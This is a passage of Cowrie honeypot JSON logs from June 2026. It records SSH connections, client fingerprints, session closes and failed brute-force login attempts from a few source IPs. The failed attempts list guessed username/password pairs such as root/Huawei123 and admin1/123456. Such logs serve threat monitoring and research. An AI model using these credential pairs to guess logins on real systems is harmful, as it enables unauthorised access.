{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:16.591666Z","src_ip":"91.92.42.227","session":"113e1056ab3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:19.964523Z","src_ip":"91.92.42.227","session":"152ce2698bfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:23.088039Z","src_ip":"91.92.42.227","session":"152ce2698bfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":60436,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a5ea35b779a","protocol":"ssh","message":"New connection: 91.92.42.227:60436 (10.17.0.5:22) [session: 2a5ea35b779a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:23.682747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:25.319234Z","src_ip":"91.92.42.227","session":"2a5ea35b779a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:25.324661Z","src_ip":"91.92.42.227","session":"2a5ea35b779a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"user","message":"login attempt [openclaw/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:25.715536Z","src_ip":"91.92.42.227","session":"113e1056ab3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:29.532241Z","src_ip":"91.92.42.227","session":"113e1056ab3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47356,"dst_ip":"10.17.0.5","dst_port":22,"session":"63ab2b7ee753","protocol":"ssh","message":"New connection: 91.92.42.227:47356 (10.17.0.5:22) [session: 63ab2b7ee753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:30.640997Z"}
{"eventid":"cowrie.session.closed","duration":35.85925316810608,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:30.800680Z","src_ip":"102.37.220.188","session":"5b8b1593dbc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.88184952735901,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:32.178385Z","src_ip":"172.81.62.90","session":"717f86bee95b","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:32.837542Z","src_ip":"91.92.42.227","session":"63ab2b7ee753","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:32.841033Z","src_ip":"91.92.42.227","session":"63ab2b7ee753","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"rootroot","message":"login attempt [user/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:34.158758Z","src_ip":"91.92.42.227","session":"2a5ea35b779a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":35140,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cee6768d93b","protocol":"ssh","message":"New connection: 91.92.42.227:35140 (10.17.0.5:22) [session: 6cee6768d93b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:36.758101Z"}
{"eventid":"cowrie.session.closed","duration":"13.7","message":"Connection lost after 13.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:37.384513Z","src_ip":"91.92.42.227","session":"2a5ea35b779a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:40.056281Z","src_ip":"91.92.42.227","session":"6cee6768d93b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:40.060105Z","src_ip":"91.92.42.227","session":"6cee6768d93b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"toor","message":"login attempt [ai/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:43.314890Z","src_ip":"91.92.42.227","session":"63ab2b7ee753","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37118,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef01b56648fb","protocol":"ssh","message":"New connection: 91.92.42.227:37118 (10.17.0.5:22) [session: ef01b56648fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:44.726532Z"}
{"eventid":"cowrie.session.closed","duration":"16.1","message":"Connection lost after 16.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:46.776897Z","src_ip":"91.92.42.227","session":"63ab2b7ee753","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:47.149156Z","src_ip":"91.92.42.227","session":"ef01b56648fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:47.152072Z","src_ip":"91.92.42.227","session":"ef01b56648fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":57152,"dst_ip":"159.203.135.109","dst_port":22,"session":"11f34b27adf5","protocol":"ssh","message":"New connection: 103.77.242.62:57152 (159.203.135.109:22) [session: 11f34b27adf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:50.348792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:50.352420Z","src_ip":"103.77.242.62","session":"11f34b27adf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:50.587049Z","src_ip":"103.77.242.62","session":"11f34b27adf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23071984","message":"login attempt [root/23071984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:51.294592Z","src_ip":"103.77.242.62","session":"11f34b27adf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:51.526610Z","src_ip":"91.92.42.227","session":"6cee6768d93b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37180,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c1e09718104","protocol":"ssh","message":"New connection: 91.92.42.227:37180 (10.17.0.5:22) [session: 5c1e09718104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:51.977368Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:52.531347Z","src_ip":"103.77.242.62","session":"11f34b27adf5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:54.551441Z","src_ip":"91.92.42.227","session":"5c1e09718104","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:54.554919Z","src_ip":"91.92.42.227","session":"5c1e09718104","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.5","message":"Connection lost after 18.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:55.252350Z","src_ip":"91.92.42.227","session":"6cee6768d93b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":35954,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4c7b1685186","protocol":"ssh","message":"New connection: 91.92.42.227:35954 (10.17.0.5:22) [session: e4c7b1685186]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:57.991800Z"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123456","message":"login attempt [admin1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:58.592381Z","src_ip":"91.92.42.227","session":"ef01b56648fb","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:00.662894Z","src_ip":"91.92.42.227","session":"e4c7b1685186","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:00.669537Z","src_ip":"91.92.42.227","session":"e4c7b1685186","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.0","message":"Connection lost after 19.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:03.727461Z","src_ip":"91.92.42.227","session":"ef01b56648fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":41208,"dst_ip":"10.17.0.5","dst_port":22,"session":"0687a25ddd4f","protocol":"ssh","message":"New connection: 91.92.42.227:41208 (10.17.0.5:22) [session: 0687a25ddd4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:05.048027Z"}
{"eventid":"cowrie.login.failed","username":"jay","password":"jay","message":"login attempt [jay/jay] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:07.104559Z","src_ip":"91.92.42.227","session":"5c1e09718104","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:08.071528Z","src_ip":"91.92.42.227","session":"0687a25ddd4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes1